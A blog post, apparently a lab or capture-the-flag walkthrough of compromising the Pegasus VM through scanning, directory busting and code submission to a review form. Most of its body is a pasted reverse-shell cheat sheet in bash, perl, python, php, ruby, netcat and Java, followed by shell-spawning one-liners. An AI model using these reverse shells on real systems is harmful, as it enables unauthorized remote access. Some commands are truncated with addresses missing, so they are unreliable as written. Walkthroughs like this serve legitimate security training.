Analyzing Pegasus VM

Hello everyone,

This is my first article. I hope it goes well. Here I will try to solve Pegasus VM found @,109/

Following are the first 3 steps I used for enumeration:

1) Run Nmap (Port scanner)
2) Run Nikto (Application scanner)
3) Run dirb (directory buster)


1) Initially I ran nmap with -sn (Ping sweep) to determine all the alive host in the segment.

Then scanned the IP with -A and -sV to enumerate further.

Got the open ports, services running on those ports.
 Lets check the website hosted.

2) Run nikto web application scanner for enumeration:

Nikto didn't help much this time. Except for platform information PHP/5.3.10-1ubuntu3.15

3) Run dirb as shown in the following screenshot for enumeration:

dirb didn't really help. After some manual analysis I came to know that the application sends back image for any random request.

And a file not found response when the extension .php is added to it.

After using dirb, directory buster and wfuzz with different wordlist I found the following.

It clearly states, whatever we enter in the textarea will be reviewed by Mike.
First thing that I can think of was to insert a php bind shell as enumerated by Nikto.

Submitted the code here.

Got the following error.

Then I tried the following shell codes form


Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):
bash -i >& /dev/tcp/ 0>&1


Here’s a shorter, feature-free version of the perl-reverse-shell:
perl -e 'use Socket;$i="";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'


This was tested under Linux / Python 2.7:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"]);'


This code assumes that the TCP connection uses file descriptor 3.  This worked on my test system.  If it doesn’t work, try 4, 5, 6…
php -r '$sock=fsockopen("",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
If you want a .php file to upload, see the more featureful and robust php-reverse-shell.


ruby -rsocket -e'"",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'


Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.
nc -e /bin/sh 1234
If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1234 >/tmp/f


r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])

Still no result then I tried a shell code from

After that I tried nc for connecting to the port and finally I got the shell.

Then I tried to spawn a stable shell. Reference

Shell Spawning
  • python -c 'import pty; pty.spawn("/bin/sh")'
  • echo os.system('/bin/bash')
  • /bin/sh -i
  • perl —e 'exec "/bin/sh";'
  • perl: exec "/bin/sh";
  • ruby: exec "/bin/sh"
  • lua: os.execute('/bin/sh')
  • (From within IRB)
    exec "/bin/sh"
  • (From within vi)
  • (From within vi)
    :set shell=/bin/bash:shell
  • (From within nmap)
And I got an interactive and stable shell form the exploited machine .


Popular posts from this blog


Minishare 1.4.1 Bufferoverflow

EchoServer (Strcpy) bufferoverflow Securitytube Exploit research Megaprimer